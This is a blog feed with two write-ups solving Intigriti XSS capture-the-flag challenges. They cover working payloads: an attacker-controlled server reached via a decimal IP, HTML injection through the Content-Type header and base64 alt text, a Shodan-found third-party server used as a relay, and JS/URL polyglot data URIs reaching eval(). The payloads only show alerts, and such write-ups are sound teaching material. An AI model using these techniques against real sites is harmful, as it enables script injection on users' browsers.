Jekyll2022-08-04T22:30:21+00:00https://renaudmarti.net/Renaud MartinetAn amazing website.Renaud MartinetIntigriti 2nd 2019 XSS Challenge Write-Up2019-05-24T00:00:00+00:002019-05-24T00:00:00+00:00https://renaudmarti.net/posts/intigriti-xss-challenge-2<p class="notice--danger"><strong>Spoiler alert</strong>: this is a write-up for the
XSS challenge that
you can find on Intigriti. If you haven’t done it yet and may want to in the
future, you definitely don’t want to read this right now.</p>
<p>Here we go again! I didn’t expect Inti to come up with another challenge right away but here it is so let’s have a look at it.</p>
<blockquote class="twitter-tweet" data-lang="en"><p lang="en" dir="ltr">NEW CHALLENGE: We're giving away a Burp Pro license, swag & invites to celebrate 5k followers! 🤩💙 Claim your prize: 👉 <a href="https://t.co/KYQHSOpGvn">https://t.co/KYQHSOpGvn</a> <a href="https://twitter.com/hashtag/BugBounty?src=hash&ref_src=twsrc%5Etfw">#BugBounty</a> <a href="https://twitter.com/hashtag/CTF?src=hash&ref_src=twsrc%5Etfw">#CTF</a> <a href="https://twitter.com/hashtag/HackWithIntigriti?src=hash&ref_src=twsrc%5Etfw">#HackWithIntigriti</a> <a href="https://t.co/h2jDTM3qos">pic.twitter.com/h2jDTM3qos</a></p>— intigriti (@intigriti) <a href="https://twitter.com/intigriti/status/1130788256285679618?ref_src=twsrc%5Etfw">May 21, 2019</a></blockquote>
<script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
<p>As fun as it was, I found this one to be less challenging than the last. There has been way less head scratching and cursing on my part :)<br />
Anyway, let’s have a look at the challenge and its two solutions.</p>
<h2 id="the-challenge">The challenge</h2>
<p>It was a fairly simple Javascript:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">b64img</span> <span class="o">=</span> <span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">hash</span><span class="p">.</span><span class="nx">substr</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">xhttp</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">XMLHttpRequest</span><span class="p">();</span>
<span class="nx">xhttp</span><span class="p">.</span><span class="nx">onreadystatechange</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">readyState</span> <span class="o">==</span> <span class="mi">4</span> <span class="o">&&</span> <span class="k">this</span><span class="p">.</span><span class="nx">status</span> <span class="o">==</span> <span class="mi">200</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">var</span> <span class="nx">reader</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">FileReader</span><span class="p">();</span>
<span class="nx">reader</span><span class="p">.</span><span class="nx">onloadend</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="s2">`
<a href="</span><span class="p">${</span><span class="nx">b64img</span><span class="p">}</span><span class="s2">" alt="</span><span class="p">${</span><span class="nx">atob</span><span class="p">(</span><span class="nx">b64img</span><span class="p">)}</span><span class="s2">">
<img src="</span><span class="p">${</span><span class="nx">reader</span><span class="p">.</span><span class="nx">result</span><span class="p">}</span><span class="s2">">
</a>`</span><span class="p">);</span>
<span class="p">}</span>
<span class="nx">reader</span><span class="p">.</span><span class="nx">readAsDataURL</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">response</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">};</span>
<span class="nx">xhttp</span><span class="p">.</span><span class="nx">responseType</span> <span class="o">=</span> <span class="s1">'blob'</span><span class="p">;</span>
<span class="nx">xhttp</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="s2">"GET"</span><span class="p">,</span> <span class="nx">b64img</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
<span class="nx">xhttp</span><span class="p">.</span><span class="nx">send</span><span class="p">();</span>
</code></pre></div></div>
<p>Basically it takes the hash part of the URL and uses it as the URL for sending a <code class="highlighter-rouge">GET</code> request. It then wraps the response of that request as a data URI and adds an <code class="highlighter-rouge">img</code> tag to the document with the data URI as its <code class="highlighter-rouge">src</code>. This is also wrapped in an <code class="highlighter-rouge">a</code> tag with the <code class="highlighter-rouge">href</code> set as the hash part of the initial URL and also the <code class="highlighter-rouge">alt</code> attribute as the hash part of the URL but base64 decoded.</p>
<p>With that in mind, let’s look for injection points and what conditions need to hold true for our attack to be successful.<br />
The obvious injection points are all in the template literal used by the <code class="highlighter-rouge">document.write()</code> call:</p>
<ul>
<li><code class="highlighter-rouge">b64img</code> - the hash part of the URL</li>
<li><code class="highlighter-rouge">atob(b64img)</code> - the hash part of the URL decoded as base64</li>
<li><code class="highlighter-rouge">reader.result</code> - the data URI produced by the <code class="highlighter-rouge">reader.readAsDataURL()</code> call on the response to the <code class="highlighter-rouge">GET</code> request</li>
</ul>
<p>We control the two first ones outright and we can control the last one if we can make the script send the <code class="highlighter-rouge">GET</code> request to a server we control.<br />
<code class="highlighter-rouge">b64img</code> needs to be valid base64 as <code class="highlighter-rouge">atob()</code> will throm an error if it’s not and <code class="highlighter-rouge">document.write()</code> will fail, aborting our attack.<br />
<code class="highlighter-rouge">reader.result</code> will have the following format: <code class="highlighter-rouge">data:<content-type>;base64,<data></code>.</p>
<h2 id="the-unintended-solution">The unintended solution</h2>
<p>I will start with the unintended one as it’s one I found first.<br />
I first checked the injection point in the <code class="highlighter-rouge">img</code> tag as I knew that if it worked I could use an <code class="highlighter-rouge">onerror</code> handler to execute javascript without user interaction.<br />
I noticed that when accessing <a href="https://challenge.intigriti.io/2/#aW50aWdyaXRpLWNoYWxsZW5nZQ==">the challenge URL</a>, the data URI ended up being <code class="highlighter-rouge">data:application/octet-stream;base64,iVBORw...rkJggg==</code> and the MIME-type was matching the value of the <code class="highlighter-rouge">Content-Type</code> header returned in the response to the <code class="highlighter-rouge">GET https://challenge.intigriti.io/2/aW50aWdyaXRpLWNoYWxsZW5nZQ==</code> request.<br />
I did some testing to make sure that <code class="highlighter-rouge">reader.readAsDataURL()</code> was indeed using the <code class="highlighter-rouge">Content-Type</code> to build the data URI, and it was.<br />
As I knew from the previous <a href="https://renaudmarti.net/posts/intigriti-xss-challenge/">XSS challenge</a> that this field in the data URI could contain pretty much anything, here was my injection point.<br />
Now I only had to make the JS send the request to my server and make my server respond with an alert popping <code class="highlighter-rouge">Content-Type</code> header.</p>
<p>Let’s suppose that my server is at <code class="highlighter-rouge">http://attacker.com</code>. We keep the URL as simple as possible so it’s easier to work with.<br />
The problem is that a URL typically contains characters that are just not allowed in base64.<br />
Here they are highlighted in bold: <em>http<strong>:</strong>//attacker<strong>.</strong>com</em><br />
Base64 allows upper and lowercase ASCII letters (<code class="highlighter-rouge">a</code> to <code class="highlighter-rouge">z</code> and <code class="highlighter-rouge">A</code> to <code class="highlighter-rouge">Z</code>) and numbers (<code class="highlighter-rouge">0</code> to <code class="highlighter-rouge">9</code>). But that is only 62 characters. <code class="highlighter-rouge">+</code> and <code class="highlighter-rouge">/</code> are also used to make it 64. And there’s the case of the <code class="highlighter-rouge">=</code> character used for padding.<br />
So the good news is that the most prevalent character in URLs, the slash <code class="highlighter-rouge">/</code> is allowed! But <code class="highlighter-rouge">:</code> and <code class="highlighter-rouge">.</code> are not.<br />
Let’s tackle the first one: what if we just got rid of the scheme altogether? The URL would be <code class="highlighter-rouge">//attacker.com</code>, it’s called a network-path reference and is totally valid: the browser will just use the current scheme. In our case, <code class="highlighter-rouge">https</code>.<br />
So that’s one down, next!<br />
To remove that dot from the DNS name of my server, I could just add a local DNS entry in my <code class="highlighter-rouge">/etc/hosts</code> file and make it resolve to the IP of my server. But that wouldn’t be practical when demonstrating the solution to other people. So I looked at alternative IP notations because IPs are in fact just big numbers written as 4 bytes in decimal separated by dots. But they can also be written as a decimal, hexadecimal or octal number.<br />
If, say, the IP of my server is 15.50.133.7, it can also be written as:</p>
<ul>
<li>254969095 - decimal</li>
<li>0xf328507 - hexadecimal</li>
<li>01714502407 - octal</li>
</ul>
<p>I’ll use decimal for simplicity. The URL is now <code class="highlighter-rouge">//254969095</code>, way better. And valid base64.</p>
<p>But as the challenge page is served over HTTPS, the browser is using the same scheme to connect to our server. And since I don’t have a TLS certificate for that IP, the connection just fails.<br />
I tried loading the challenge page over HTTP and thankfully it worked, allowing me to run my server on port 80.</p>
<p>Now when I open <code class="highlighter-rouge">http://challenge.intigriti.io/2/#//254969095</code> in my browser, I get a CORS error in the JS console.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>No 'Access-Control-Allow-Origin' header is present on the requested resource.
</code></pre></div></div>
<p>I make my server return an <code class="highlighter-rouge">Access-Control-Allow-Origin: *</code> header and the error is gone.<br />
Now on the server side I just have to have my server also return a <code class="highlighter-rouge">Content-Type</code> header including an XSS payload.<br />
If we look at the HTML markup our payload will be injected in:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><a</span> <span class="na">href=</span><span class="s">"base64url"</span> <span class="na">alt=</span><span class="s">"decodedbase64"</span><span class="nt">></span>
<span class="nt"><img</span> <span class="na">src=</span><span class="s">"data:<content-type>;base64,<data>"</span><span class="nt">></span>
<span class="nt"></a</span>
</code></pre></div></div>
<p>We can see that we need it to close the <code class="highlighter-rouge">src</code> attribute, add the <code class="highlighter-rouge">onerror</code> handler calling <code class="highlighter-rouge">alert(document.domain)</code> and add a junk attribute that can use the remaining part <code class="highlighter-rouge">;base64,<data></code> as its value.<br />
I came up with the following: <code class="highlighter-rouge">app" onerror="alert(document.domain)" data="/testozor</code><br />
Which, when injected, will end up as:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><a</span> <span class="na">href=</span><span class="s">"base64url"</span> <span class="na">alt=</span><span class="s">"decodedbase64"</span><span class="nt">></span>
<span class="nt"><img</span> <span class="na">src=</span><span class="s">"data:app"</span> <span class="na">onerror=</span><span class="s">"alert(document.domain)"</span> <span class="na">data=</span><span class="s">"/testozor;base64,Test"</span><span class="nt">></span>
<span class="nt"></a</span>
</code></pre></div></div>
<p>The browser will try to load the <code class="highlighter-rouge">data:app</code> URI and fail then triggering the <code class="highlighter-rouge">onerror</code> handler and making our alert pop.</p>
<p>Here is the final payload: <code class="highlighter-rouge">http://challenge.intigriti.io/2/#//254969095/index</code> and the Ruby script I used on the server side.
<script src="https://gist.github.com/karouf/b9c0c3d955ce15f05d84f14711d6abbf.js"></script></p>
<h2 id="the-maybe-intended-solution">The (maybe) intended solution</h2>
<p>I came back to the challenge a few days later determined to find the other solution. There has been a few hints posted by Intigriti on Twitter since and they kind of lead me on a wrong path. Although I’m not sure and might have not found the official solution yet!<br />
I will nonetheless expose some of the ideas I explored, just for info.</p>
<p>I focused on injecting in the <code class="highlighter-rouge">alt</code> attribute of the <code class="highlighter-rouge">a</code> tag and for that I needed to be able to add my base64 encoded payload to the <code class="highlighter-rouge">aW50aWdyaXRpLWNoYWxsZW5nZQ==</code> string that’s set as the hash part of the URL by the script.<br />
It meant that my full payload had to be valid when used as a URL by <code class="highlighter-rouge">xhttp.open()</code>, still be valid base64 and that the request had to return a <code class="highlighter-rouge">200 OK</code> response.
So I spent quite some time playing with URL delimiters like <code class="highlighter-rouge">/</code>, <code class="highlighter-rouge">?</code>, <code class="highlighter-rouge">#</code> or <code class="highlighter-rouge">;</code> without any luck because they would always cause the <code class="highlighter-rouge">atob()</code> call to fail. I also tried some whitespaces as they are just removed by <code class="highlighter-rouge">atob()</code> before the actual decoding but they made the <code class="highlighter-rouge">GET</code> request fail as it was now requesting a non-existent resource, which returned a <code class="highlighter-rouge">404 Not Found</code>.</p>
<p>Getting nowhere with that, it’s time to use what I found for the first solution and try to apply it to this case.<br />
We can use the same alternative IP notation trick to send the <code class="highlighter-rouge">GET</code> request to our server and then we can just append our base64 encoded XSS payload to it so it gets decoded and injected in the <code class="highlighter-rouge">alt</code> attribute. Our server only needs to set the <code class="highlighter-rouge">Access-Control-Allow-Origin: *</code> header, not the <code class="highlighter-rouge">Content-Type</code> anymore.</p>
<p>The script for the server becomes:
<script src="https://gist.github.com/karouf/cf29dd99d0fab3818c33602f0c6f62d3.js"></script></p>
<p>As for the payload, we need to adapt it to the new context.
Again, here is the markup:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><a</span> <span class="na">href=</span><span class="s">"base64url"</span> <span class="na">alt=</span><span class="s">"<payload>"</span><span class="nt">></span>
<span class="nt"><img</span> <span class="na">src=</span><span class="s">"data:text/html;base64,base64data"</span><span class="nt">></span>
<span class="nt"></a</span>
</code></pre></div></div>
<p>To make sure it pops an alert without user interaction, we need to close the <code class="highlighter-rouge">alt</code> attribute, close the <code class="highlighter-rouge">a</code> tag and then insert a <code class="highlighter-rouge">script</code> tag with our own javascript. Here is what I used: <code class="highlighter-rouge">"><script>alert(document.domain);</script></code></p>
<p>Now remember that the URL to our server is <code class="highlighter-rouge">//254969095/</code>, which when decoded gives <code class="highlighter-rouge">ÿý¹ãÞ½ÓÞ </code>. We append our payload to that and then reencode it to base64 to end up with <code class="highlighter-rouge">//254969095/Ij48c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmRvbWFpbik7PC9zY3JpcHQ+</code>. Note that we need that slash after the decimal IP of our server as it separates the host from the path.<br />
The script server-side is slightly modified from the first solution to handle any path on the server as you can see in the above gist.</p>
<p>The final payload is <code class="highlighter-rouge">http://challenge.intigriti.io/2/#//254969095/Ij48c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmRvbWFpbik7PC9zY3JpcHQ+</code> and should pop an alert if you edit it to reach to your own server.</p>
<p>Annoying that you can’t just click the link I gave above to see it for yourself right? We should fix that because I think we can do better!<br />
Let’s hunt for an HTTP server listening on port 80, returning a <code class="highlighter-rouge">200 OK</code> to anything we put in the URL path and which also sets the <code class="highlighter-rouge">Access-Control-Allow-Origin: *</code> header. I mean how hard is that?<br />
Not that hard in fact: a quick search on Shodan with the following query does it.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Access-Control-Allow-Origin: * 200 OK port:"80"
</code></pre></div></div>
<p>I’ll just use <a href="https://www.shodan.io/host/52.17.248.19#80">one of the results</a> from the first page which uses the IP <code class="highlighter-rouge">52.17.248.19</code>. As you can check for yourself, <a href="http://52.17.248.19/certainlydoesntexist!!!">any path on that server</a> returns a <code class="highlighter-rouge">200 OK</code> status.<br />
Rebuilding the whole payload with that IP, we end up with the following: <a href="http://challenge.intigriti.io/2/#//873592851//yI+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg==">http://challenge.intigriti.io/2/#//873592851//yI+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg==</a></p>
<p>And now you can see it pop in your own browser with zero work on your part! :D</p>
<p>I kinda like the last payload I found because it’s portable but I still feel the official solution is probably different and doesn’t use any external resources. It would be more elegant. I’m waiting for the solutions to be published and I’ll probably update this post afterwards.<br />
Hope you had fun with the challenge and the write-up was interesting!<br />
Hit me up on Twitter if you want to let me know what you think about it 👌</p>Renaud MartinetSpoiler alert: this is a write-up for the XSS challenge that you can find on Intigriti. If you haven’t done it yet and may want to in the future, you definitely don’t want to read this right now.Intigriti XSS Challenge Write-Up2019-05-03T00:00:00+00:002019-05-03T00:00:00+00:00https://renaudmarti.net/posts/intigriti-xss-challenge<p class="notice--danger"><strong>Spoiler alert</strong>: this is a write-up for the
XSS challenge that
you can find on Intigriti. If you haven’t done it yet and may want to in the
future, you definitely don’t want to read this right now.</p>
<p>As <a href="/posts/how-i-didnt-win-intigriti-ctf/">I utterly failed the last CTF</a> ran by <a href="https://www.intigriti.com">Intigriti</a>, when I came across this tweet I thought it was time to prove to myself I could do it.</p>
<blockquote class="twitter-tweet" data-lang="en"><p lang="en" dir="ltr">CHALLENGE: Can you find the XSS? 🧐 Earn a Burp License, cool swag & private invites! 👉<a href="https://t.co/EehqBfFmjA">https://t.co/EehqBfFmjA</a> <a href="https://t.co/sq8FIYgQOH">pic.twitter.com/sq8FIYgQOH</a></p>— intigriti (@intigriti) <a href="https://twitter.com/intigriti/status/1122837120161333250?ref_src=twsrc%5Etfw">April 29, 2019</a></blockquote>
<script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
<p>I’m not exactly fond of Javascript or an expert in any way, but this time I beat the challenge!<br />
And I’ll show you the pain and frustration that went into it :D</p>
<p>So looking at the source of <a href="https://challenge.intigriti.io">the challenge</a>, we can see that there seems to be nothing going on with the HTML and that it’s probably a DOM XSS.</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"><!-- challenge --></span>
<span class="nt"><script></span>
<span class="kd">const</span> <span class="nx">url</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">URL</span><span class="p">(</span><span class="nb">decodeURIComponent</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">hash</span><span class="p">.</span><span class="nx">substr</span><span class="p">(</span><span class="mi">1</span><span class="p">))).</span><span class="nx">href</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="sr">/script|<|>/gi</span><span class="p">,</span> <span class="s2">"forbidden"</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">iframe</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">"iframe"</span><span class="p">);</span> <span class="nx">iframe</span><span class="p">.</span><span class="nx">src</span> <span class="o">=</span> <span class="nx">url</span><span class="p">;</span> <span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">iframe</span><span class="p">);</span>
<span class="nx">iframe</span><span class="p">.</span><span class="nx">onload</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(){</span> <span class="nb">window</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="s2">"message"</span><span class="p">,</span> <span class="nx">executeCtx</span><span class="p">,</span> <span class="kc">false</span><span class="p">);}</span>
<span class="kd">function</span> <span class="nx">executeCtx</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">source</span> <span class="o">==</span> <span class="nx">iframe</span><span class="p">.</span><span class="nx">contentWindow</span><span class="p">){</span>
<span class="nx">e</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">location</span> <span class="o">=</span> <span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">;</span>
<span class="nb">Object</span><span class="p">.</span><span class="nx">assign</span><span class="p">(</span><span class="nb">window</span><span class="p">,</span> <span class="nx">e</span><span class="p">.</span><span class="nx">data</span><span class="p">);</span>
<span class="kr">eval</span><span class="p">(</span><span class="nx">url</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nt"></script></span>
<span class="c"><!-- challenge --></span>
</code></pre></div></div>
<p>It constructs a new URL from the fragment part of the URL we use to access the challenge. Strings like <code class="highlighter-rouge">script</code>, <code class="highlighter-rouge"><</code> and <code class="highlighter-rouge">></code> are filtered out and replaced by <code class="highlighter-rouge">forbidden</code>.<br />
Next it opens a <code class="highlighter-rouge">iframe</code> using the new URL and adds an <code class="highlighter-rouge">onload</code> listener that adds an <code class="highlighter-rouge">onmessage</code> listener when the <code class="highlighter-rouge">iframe</code> has loaded. The <code class="highlighter-rouge">onmessage</code> listener runs <code class="highlighter-rouge">executeCtx()</code>.<br />
I’ll get back to that part later because I got confused a bit there. Just know that <code class="highlighter-rouge">message</code> is an event that can be triggered by a <code class="highlighter-rouge">postMessage()</code> call from another window/tab.<br />
As for the <code class="highlighter-rouge">executeCtx()</code> function, it checks that the source of the event is the same window as the one the <code class="highlighter-rouge">iframe</code> is loaded in.<br />
If it’s the case it adds a <code class="highlighter-rouge">location</code> property to the event data with the current location. It merges the data event object onto the window object.<br />
And then it runs <code class="highlighter-rouge">eval()</code> on the URL generated at the first step.</p>
<p>So we can speculate that we need to reach that <code class="highlighter-rouge">eval()</code> call with a payload containing some form of <code class="highlighter-rouge">alert(document.domain)</code>.</p>
<p>The first thing was to run <code class="highlighter-rouge">executeCtx()</code> and get to <code class="highlighter-rouge">eval()</code>. I initially thought that the <code class="highlighter-rouge">onload</code> listener was added to the <code class="highlighter-rouge">iframe</code> and then that inside the listener function <code class="highlighter-rouge">window</code> was referring to the <code class="highlighter-rouge">iframe</code> itself. I spinned up a web server with a small <code class="highlighter-rouge">index.html</code> with the following content in order to load it in the <code class="highlighter-rouge">iframe</code>:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><html></span>
<span class="nt"><head></span>
<span class="nt"><title></span>MyFrame<span class="nt"></title></span>
<span class="nt"></head></span>
<span class="nt"><body></span>
<span class="nt"><script></span>
<span class="kd">function</span> <span class="nx">sleep</span><span class="p">(</span><span class="nx">ms</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="k">new</span> <span class="nb">Promise</span><span class="p">(</span><span class="nx">resolve</span> <span class="o">=></span> <span class="nx">setTimeout</span><span class="p">(</span><span class="nx">resolve</span><span class="p">,</span> <span class="nx">ms</span><span class="p">));</span>
<span class="p">}</span>
<span class="k">async</span> <span class="kd">function</span> <span class="nx">poc</span><span class="p">()</span> <span class="p">{</span>
<span class="kr">await</span> <span class="nx">sleep</span><span class="p">(</span><span class="mi">2000</span><span class="p">);</span>
<span class="nb">window</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">(</span><span class="s1">'test'</span><span class="p">,</span> <span class="s1">'*'</span><span class="p">);</span>
<span class="p">}</span>
<span class="nx">poc</span><span class="p">();</span>
<span class="nt"></script></span>
<span class="nt"></body></span>
<span class="nt"></html></span>
</code></pre></div></div>
<p>I spent some time debugging and wondering why <code class="highlighter-rouge">executeCtx</code> was never run.<br />
So I read up on <code class="highlighter-rouge">iframe</code>, <code class="highlighter-rouge">onload</code> and <code class="highlighter-rouge">postMessage</code> and found out that <code class="highlighter-rouge">iframe.onload</code> defines an <code class="highlighter-rouge">onload</code> listener on the <code class="highlighter-rouge">iframe</code> object in the original window.<br />
What was happening was in fact the reverse of what I was thinking…</p>
<p>I just changed my <code class="highlighter-rouge">poc()</code> function to:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">async</span> <span class="kd">function</span> <span class="nx">poc</span><span class="p">()</span> <span class="p">{</span>
<span class="kr">await</span> <span class="nx">sleep</span><span class="p">(</span><span class="mi">2000</span><span class="p">);</span>
<span class="nx">parent</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">(</span><span class="s1">'test'</span><span class="p">,</span> <span class="s1">'*'</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>And sure enough, <code class="highlighter-rouge">executeCtx()</code> was triggered.</p>
<p>But now I was stuck on the event source comparison: <code class="highlighter-rouge">e.source</code> was a <code class="highlighter-rouge">Window</code> object and <code class="highlighter-rouge">iframe.contentWindow</code> a <code class="highlighter-rouge">global</code> object.</p>
<p>Having no idea which way to go I tried to solve another part of the problem: how to make <code class="highlighter-rouge">eval()</code> run my code.<br />
My first thought was that I’d need a URL that can be both a valid URL and valid Javascript. And I thought I already had it because I came across something similar to pull off an XSS on <a href="/posts/first-bug-bounty-submission/">my first bug bounty submission</a>. I also found <a href="http://www.thespanner.co.uk/2012/05/08/eval-a-url/">this blog post</a> that confirmed it looked like a good idea.<br />
But it involved alternative newline characters and, although I spent a lot of time trying to get one past the <code class="highlighter-rouge">new URL()</code> call, I didn’t manage to.<br />
Searching some more, I used the <code class="highlighter-rouge">polyglot</code> term instead of just <code class="highlighter-rouge">eval</code>, <code class="highlighter-rouge">js</code> and <code class="highlighter-rouge">url</code>, and came across <a href="https://github.com/xsuperbug/payloads/blob/master/polyglot">a GitHub repository</a> where the first example was just what I needed:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#JS/URL polyglot"
data:text/html;alert(1)/*,<svg%20onload=eval(unescape(location))><title>*/;alert(2);function%20text(){};function%20html(){}
</code></pre></div></div>
<p>If we look at it like an URI we can see:</p>
<ul>
<li>a scheme: <code class="highlighter-rouge">data:</code></li>
<li>a media-type: <code class="highlighter-rouge">text/html</code></li>
<li>what is supposed to be the base64 indicator: <code class="highlighter-rouge">;alert(1)/*</code></li>
<li>a separator: <code class="highlighter-rouge">,</code></li>
<li>data itself: <code class="highlighter-rouge"><svg%20onload=eval(unescape(location))><title>*/;alert(2);function%20text(){};function%20html(){}</code></li>
</ul>
<p>Then as a Javascript:</p>
<ul>
<li>a label: <code class="highlighter-rouge">data:</code></li>
<li>a statement: <code class="highlighter-rouge">text/html;</code></li>
<li>another statement with a comment: <code class="highlighter-rouge">alert(1)/*,<svg%20onload=eval(unescape(location))><title>*/;</code></li>
<li>yet another statement: <code class="highlighter-rouge">alert(2);</code></li>
<li>2 function declarations: <code class="highlighter-rouge">function%20text(){};function%20html(){}</code></li>
</ul>
<p>When that URI is loaded in a browser, it will render the following HTML:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><svg</span> <span class="na">onload=</span><span class="s">eval(unescape(location))</span><span class="nt">></span>
<span class="nt"><title></span>*/;alert(2);function%20text(){};function%20html(){}
</code></pre></div></div>
<p>The <code class="highlighter-rouge">onload</code> attribute of the <code class="highlighter-rouge">svg</code> element will trigger and run <code class="highlighter-rouge">eval()</code> on an unescaped version of the data URI itself.<br />
The 2 function declarations will be evaluated before any code is executed so the <code class="highlighter-rouge">text/html;</code> statement is evaluated as <code class="highlighter-rouge">0/0;</code> and is valid.<br />
Then both <code class="highlighter-rouge">alert()</code> calls are executed.<br />
You can <a href="data:text/html;alert(1)/*,<svg%20onload=eval(unescape(location))><title>*/;alert(2);function%20text(){};function%20html(){}">try it by yourself</a> but check the URL before clicking it if you don’t trust me :)</p>
<p>So where did I go with that?<br />
I had a string that can be both a valid URI and valid Javascript. But as it was, it wouldn’t pass the filter unarmed because of the <code class="highlighter-rouge"><</code> and <code class="highlighter-rouge">></code> characters.<br />
I went back to the specs of a data URI and noticed that the data itself could be base64 encoded. Base64 doesn’t use any forbidden character, therefore it would pass the filter.</p>
<p>I changed the payload to display <code class="highlighter-rouge">document.domain</code> and simplified it a bit to:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>data:text/html;alert(document.domain)/*,<svg%20onload=eval(unescape(location))><title>*/;function%20text(){};function%20html(){}
</code></pre></div></div>
<p>And used base64:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>data:text/html;alert(document.domain);//;base64,PHN2ZyUyMG9ubG9hZD1ldmFsKHVuZXNjYXBlKGxvY2F0aW9uKSk+PHRpdGxlPiovO2Z1bmN0aW9uJTIwdGV4dCgpe307ZnVuY3Rpb24lMjBodG1sKCl7fS8v
</code></pre></div></div>
<p>Notice that I also had to change <code class="highlighter-rouge">/*,</code> to <code class="highlighter-rouge">;//;base64,</code>
This is how I went about it:</p>
<ul>
<li>original: <code class="highlighter-rouge">data:text/html;alert(1)/*,<svg%20on...</code></li>
<li>display <code class="highlighter-rouge">document.domain</code>: <code class="highlighter-rouge">data:text/html;alert(document.domain)/*,<svg%20on...</code></li>
<li>add the base64 indicator: <code class="highlighter-rouge">data:text/html;alert(document.domain)/*;base64,<svg%20on...</code></li>
<li>convert the payload to base64: <code class="highlighter-rouge">data:text/html;alert(document.domain)/*;base64,PHN2Z...</code></li>
<li>add a Javascript statement terminator because we’re missing it now as it was in the payload: <code class="highlighter-rouge">data:text/html;alert(document.domain);/*;base64,PHN2Z...</code></li>
<li>change the comment from <code class="highlighter-rouge">/*</code> to <code class="highlighter-rouge">//</code> as it wasn’t executing the payload: <code class="highlighter-rouge">data:text/html;alert(document.domain);//;base64,PHN2Z...</code></li>
</ul>
<p>That time it passed the filter. Now I needed to make the <code class="highlighter-rouge">iframe</code> it created to call back to its parent window with <code class="highlighter-rouge">postMessage</code>. I changed the data to:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><script></span><span class="nx">parent</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">(</span><span class="s2">"test"</span><span class="p">,</span><span class="s2">"*"</span><span class="p">);</span><span class="nt"></script></span>
</code></pre></div></div>
<p>The data URI became:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>data:text/html;alert(document.domain);//;base64,PHNjcmlwdD5wYXJlbnQucG9zdE1lc3NhZ2UoInRlc3QiLCIqIik7PC9zY3JpcHQ+
</code></pre></div></div>
<p>It ran the <code class="highlighter-rouge">executeCtx()</code> function and entered the conditional.<br />
But it failed on <code class="highlighter-rouge">Object.assign(window, e.data);</code> because <code class="highlighter-rouge">e.data</code> was not an object.
I fixed that:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><script></span><span class="nx">parent</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({},</span><span class="s2">"*"</span><span class="p">);</span><span class="nt"></script></span>
</code></pre></div></div>
<p>The data URI became:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>data:text/html;alert(document.domain);//;base64,PHNjcmlwdD5wYXJlbnQucG9zdE1lc3NhZ2Uoe30sIioiKTs8L3NjcmlwdD4=
</code></pre></div></div>
